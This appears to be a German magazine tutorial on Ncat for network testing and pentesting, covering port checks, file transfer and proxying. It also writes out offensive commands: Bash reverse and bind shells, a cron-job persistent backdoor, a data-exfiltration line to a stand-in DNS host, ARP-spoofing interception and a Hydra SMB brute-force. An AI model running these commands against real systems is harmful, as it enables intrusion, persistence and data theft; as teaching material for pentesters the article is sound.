metamorworks - stock.adobe.com

Ncat: Netzwerkuntersuchung und Pentesting mit Open Source

Ncat, früher bekannt als Netcat, ist ein vielseitiges und leistungsfähiges Tool, das oft als das Schweizer Taschenmesser für Administratoren und Penetrationstester bezeichnet wird.

Pentester und Netzwerkadmins setzen häufig Ncat mit Linux ein, um Netzwerke auf Schwachstellen zu überprüfen, Verbindungen zu testen, oder auch um Ports und Dienste im Netzwerk zu überwachen.

Der Vorgänger von Ncat war Netcat, weshalb das Tool auch heute noch öfters so genannt wird. Ncat ist in Nmap integriert und in den Nmap-Download-Paketen für die verschiedenen Betriebssysteme sowie den Quellcode-Dateien enthalten, die auf der Nmap-Download-Seite verfügbar sind.

Das lässt sich optimal mit einer Reihe anderer Tools kombinieren, um umfassende und effektive Penetrationstests durchzuführen. Ein typisches Beispiel dafür ist natürlich auch Nmap, das als fortschrittlicher Portscanner dient und in Kombination mit Ncat für tiefergehende Analysen offener Ports genutzt werden kann. Wir haben das Thema in einem eigenen Beitrag behandelt. Metasploit ist ein weiteres unverzichtbares Tool, das in Kombination mit Ncat für das Ausnutzen von Schwachstellen verwendet wird. Auch zu Metasploit haben wir einen Tipp. Ncat kann hierbei als Payload-Hörer für Reverse Shells fungieren.

Hydra ist ideal für Bruteforce-Angriffe, beispielsweise auf SMB- oder HTTP-Authentifizierungen, und kann Ergebnisse direkt an Ncat übergeben, um automatisierte Angriffe durchzuführen. Auch das haben wir in einem Beitrag genauer besprochen. OpenSSL erweitert Ncat um die Möglichkeit der verschlüsselten Kommunikation, was insbesondere für sichere Datenübertragungen und den Aufbau von verschlüsselten Shells nützlich ist. In Kombination mit Wireshark oder tcpdump kann Ncat auch als Teil eines Netzwerk-Sniffing-Szenarios eingesetzt werden, wobei es die gesammelten Daten direkt zur Analyse überträgt. Diese Kombinationen ermöglichen es Pentestern, ein breites Spektrum an Angriffsvektoren abzudecken und Netzwerke umfassend auf Schwachstellen zu prüfen.

Die Hilfeseite von ncat zeigt die umfangreichen Möglichkeiten des Tools.
Abbildung 1: Die Hilfeseite von ncat zeigt die umfangreichen Möglichkeiten des Tools.

Verbindungsaufbau und -überprüfung mit Ncat

Ncat kann als TCP/UDP-Client und -Server verwendet werden, um Verbindungen zu erstellen und zu testen. Dies ist besonders nützlich für die Überprüfung, ob ein bestimmter Port auf einem Zielsystem geöffnet ist:

ncat -v -z 192.168.1.1 80

Dieses Beispiel verwendet Ncat, um zu überprüfen, ob der Port 80 auf der IP-Adresse 192.168.1.1 geöffnet ist. Der Parameter -z sorgt dafür, dass keine Daten gesendet werden, während -v die Ausgabe auf die Konsole erzwingt.

Eine der Funktionen von Ncat ist die Möglichkeit, Dateien direkt über das Netzwerk zu übertragen, ohne dass ein komplizierter FTP- oder SCP-Server eingerichtet werden muss.

Server-Seite:

ncat -l 1234 > empfangene_datei.txt

Client-Seite:

ncat 192.168.1.2 1234 < datei.txt

In diesem Szenario hört Netcat auf dem Server auf Port 1234 und schreibt alle eingehenden Daten in eine Datei namens "empfangene_datei.txt". Auf der Client-Seite sendet Netcat den Inhalt von "datei.txt" an den Server.

Netcat lässt sich auch für die sichere Übertragung von Dateien verwenden, indem es in Kombination mit OpenSSL zur Verschlüsselung der übertragenen Daten eingesetzt wird:

ncat -lvp 1234 | openssl enc -aes-256-cbc -d -a -out entschluesselte_datei.txt

Client-Seite (Datei verschlüsseln und senden):

openssl enc -aes-256-cbc -a -in datei.txt | ncat 192.168.1.2 1234

In diesem Beispiel wird die Datei auf dem Client mit OpenSSL verschlüsselt und über Ncat an den Server gesendet, der die Daten entschlüsselt und in eine Datei schreibt.

Remote-Shells mit Ncat für Pentesting nutzen

Netcat kann auch verwendet werden, um eine Remote-Shell zu öffnen, was bei Penetrationstests besonders nützlich ist. Eine Reverse Shell ermöglicht es einem Angreifer, über eine vom Zielsystem initiierte Verbindung Zugriff zu erhalten.

Angreifer-Seite:

ncat -lvp 4444

Opfer-Seite:

ncat 192.168.1.2 4444 -e /bin/bash

Hier wartet der Angreifer auf eine Verbindung auf Port 4444 (-lvp 4444). Wenn das Zielsystem die Verbindung initiiert, wird eine Bash-Shell (/bin/bash) geöffnet, die dem Angreifer vollen Zugriff auf das System ermöglicht.

Ncat kann auch als rudimentärer Portscanner verwendet werden, um zu überprüfen, welche Ports auf einem Zielsystem offen sind. Das Tool lässt sich in diesem Zusammenhang verwenden, um manuelle HTTP-Anfragen an einen Webserver zu senden. Dies ist besonders nützlich, um benutzerdefinierte Header oder spezifische HTTP-Anfragen zu testen:

echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | ncat example.com 80

Dieser Befehl sendet eine einfache HTTP-GET-Anfrage an den Webserver example.com auf Port 80. Die Antwort des Servers wird direkt auf der Konsole angezeigt. Ncat ist außerdem auch als einfacher Proxy-Server zu konfigurieren, der Verbindungen zwischen einem Client und einem Ziel weiterleitet:

ncat -l 8888 -c 'ncat example.com 80'

In diesem Beispiel fungiert Netcat als Proxy auf Port 8888. Alle eingehenden Verbindungen werden an example.com auf Port 80 weitergeleitet. Der Schalter -c ermöglicht es, einen Befehl auszuführen, wenn eine Verbindung eingehend ist.

Netzwerküberwachung mit Ncat

Ncat kann auch den Datenverkehr in einem Netzwerk überwachen oder analysieren, indem es als Sniffer fungiert:

ncat -l -k -v 5555

Dieses Beispiel zeigt, wie Netcat auf eingehende Verbindungen auf Port 5555 lauscht und die empfangenen Daten anzeigt. Der Parameter -k sorgt dafür, dass Netcat nach dem Schließen einer Verbindung weiter lauscht.

Netcat (ncat) bietet nicht nur grundlegende Funktionen, sondern lässt sich durch Kombination mit anderen Tools und Befehlen erheblich erweitern, um komplexe Penetrationstests und Netzwerkanalysen durchzuführen. Folgend finden Sie einige erweiterte Anwendungsfälle, die zeigen, wie man Ncat mit anderen Befehlen und Tools kombinieren kann, um leistungsfähige und flexible Lösungen zu erhalten.

DNS-Tunneling ist eine Technik, bei der Daten über DNS-Anfragen und -Antworten aus einem Netzwerk herausgeschleust werden können. Ncat kann man hier als Transportmittel für die eigentlichen Daten nutzen:

ncat -lvp 53 -e /bin/bash

DNS-Tunnel-Client (auf dem Opfer-System):

echo "sensitive_data" | ncat --udp dns-server.example.com 53

In diesem Szenario lauscht der Angreifer auf Port 53 (UDP) und erwartet DNS-Anfragen, die in Wirklichkeit sensible Daten enthalten. Diese werden vom Opfer über Ncat an den Angreifer gesendet.

Nmap ist wiederum ein leistungsfähiger Portscanner, In Kombination mit Ncat kann Nmap für weiterführende Analysen und Exploits verwendet werden:

nmap -p- -T4 -oG - 192.168.1.1 | grep '/open/' | awk '{print $2":"$3}' | sed 's#/tcp##' | xargs -n1 -I {} ncat {}

Hier wird Nmap eingesetzt, um alle offenen Ports auf einem Zielsystem zu scannen. Die offenen Ports werden dann durch eine Pipe an Netcat übergeben, das versucht, eine Verbindung zu jedem offenen Port herzustellen, um eine tiefere Analyse durchzuführen.

Angreifer können Netcat darüber hinaus in Verbindung mit Cron-Jobs nutzen, um persistente Backdoors auf einem Zielsystem zu erstellen.

Angreifer-Seite:

ncat -lvp 4444

Opfer-Seite (Cron-Job):

echo "* * * * * /bin/bash -c 'ncat 192.168.1.2 4444 -e /bin/bash'" | crontab -

Dieses Beispiel zeigt, wie eine Reverse Shell durch Netcat jede Minute über einen Cron-Job initiiert wird. Dadurch bleibt der Zugriff auf das Zielsystem auch nach Neustarts oder Unterbrechungen bestehen.

Pivoting durch Ncat und SSH

Pivoting ist eine Technik, die es Angreifern ermöglicht, über ein kompromittiertes System auf weitere Netzwerke zuzugreifen. Netcat kann dabei als Hilfsmittel dienen, um Datenverkehr durch ein kompromittiertes System zu leiten.

Auf dem kompromittierten System:

ncat -lvp 8080 -e /bin/bash

Auf dem Angreifer-System:

ssh -L 8080:localhost:8080 compromised_user@compromised_host

Verbindung zum internen Netz über das kompromittierte System:

ncat 127.0.0.1 8080

Dieses Szenario zeigt, wie ein Angreifer über SSH einen lokalen Port auf seinem eigenen System weiterleiten kann, um Zugriff auf einen Ncat-Listener auf dem kompromittierten System zu erhalten. Der Angreifer kann dann über diesen Tunnel in das interne Netzwerk des kompromittierten Hosts eindringen.

Tarpitting zur Verlangsamung von Angreifern

Ncat kann auch eine Tarpit erstellen, die eingehende Verbindungen bewusst verlangsamt und Angreifer frustriert:

ncat -l 80 -c 'while true; do echo -n "slow response"; sleep 10; done'

In diesem Beispiel wird Netcat verwendet, um eine Tarpit auf Port 80 zu realisieren, die kontinuierlich eine langsame Antwort an den Angreifer sendet. Diese Technik lässt sich nutzen, um Brute-Force-Angriffe zu verzögern.

Ncat kann man hier auch in Kombination mit ARP-Spoofing einsetzen, um einen Man-in-the-Middle-Angriff durchzuführen, bei dem der gesamte Datenverkehr eines Netzwerks abgefangen und analysiert wird:

ARP-Spoofing mit arpspoof (auf dem Angreifer-System):

arpspoof -i eth0 -t 192.168.1.2 192.168.1.1

Datenverkehr abfangen und analysieren:

ncat -lvp 8080

Weiterleitung des Datenverkehrs an das eigentliche Ziel:

ncat -l 8080 -c 'ncat 192.168.1.1 80'

In diesem Szenario verwendet der Angreifer arpspoof, um sich als Gateway gegenüber einem Zielsystem auszugeben. Der gesamte HTTP-Datenverkehr des Zielsystems wird durch Netcat abgefangen und weitergeleitet, wodurch der Angreifer in der Lage ist, den Datenverkehr zu analysieren.

Ncat kann Verbindungen zu offenen Ports aufbauen und Portscans helfen dabei, offene Ports zu finden.
Abbildung 2: Ncat kann Verbindungen zu offenen Ports aufbauen und Portscans helfen dabei, offene Ports zu finden.

Penetrationstests auf Domänencontroller und Dateiserver mit Ncat

Ncat ist effektiv, um Schwachstellen in der Netzwerkarchitektur von Active Directory (AD) Umgebungen aufzudecken, zum Beispiel bei Domänencontrollern und Dateiservern. In solchen Szenarien zielen Penetrationstests darauf ab, kritische Dienste wie die Authentifizierung und Dateifreigaben zu überprüfen. Dabei werden typischerweise spezifische Ports gescannt und analysiert, die von Samba-Servern (für Linux-basierte Dateiserver) und Windows Servern genutzt werden. Typische Ports, die bei Penetrationstests auf Domänencontroller im Fokus stehen, sind:

  • Port 53 (DNS): Wird für die Namensauflösung verwendet. Ein DNS-Zonen-Transfer kann möglicherweise sensible Informationen preisgeben.
  • Port 88 (Kerberos): Der Authentifizierungsdienst von AD. Schwachstellen in der Implementierung von Kerberos können zu Ticket-Weitergabe-Angriffen führen.
  • Port 389 (LDAP, unverschlüsselt) / 636 (LDAPS, verschlüsselt): Wird für Verzeichnisanfragen verwendet. Einfache LDAP-Abfragen können sensible Benutzerinformationen preisgeben.
  • Port 445 (SMB): Ermöglicht Datei- und Druckfreigaben. Schwachstellen in SMB können zu Remote Code Execution (RCE) oder lateralem Movement führen.

Ncat ist auch gut, um manuelle LDAP-Abfragen an den Domänencontroller zu senden und Informationen wie Benutzernamen und Gruppenmitgliedschaften zu extrahieren:

ncat -v 192.168.1.10 389

Nach dem Verbindungsaufbau kann man spezifische LDAP-Abfragen manuell oder über Skripte senden, um Informationen zu sammeln.

SMB ist einer der kritischsten Dienste, da er häufig für Schwachstellen wie EternalBlue anfällig ist. Hier ist ein Beispiel für das Scannen von SMB-Ports und das Erfassen von Bannerinformationen, die Auskunft über den verwendeten SMB-Dienst geben:

ncat -v -z 10.0.1.9 445

Ein erfolgreiches Banner-Grabbing könnte folgendermaßen aussehen:

ncat 192.168.1.10 445

Nach der Verbindungseingabe könnte der Serverbanner wertvolle Informationen über die SMB-Version und den Servertyp preisgeben. Dateiserver, die auf Samba (in Linux-Umgebungen) oder Windows Servern laufen, bieten ebenfalls Angriffspunkte, insbesondere wenn diese unzureichend konfiguriert sind. Mit Ncat kann man in Kombination mit anderen Tools wie Hydra einen Bruteforce-Angriff auf SMB-Anmeldedaten durchführen:

hydra -L benutzerliste.txt -P passwortliste.txt 192.168.1.10 smb -V

Dabei können Ncat und andere Tools zum Einsatz kommen, um offene Ports zu scannen und die Angriffe gezielt durchzuführen, basierend auf den erhaltenen Informationen.

Erfahren Sie mehr über Netzwerksicherheit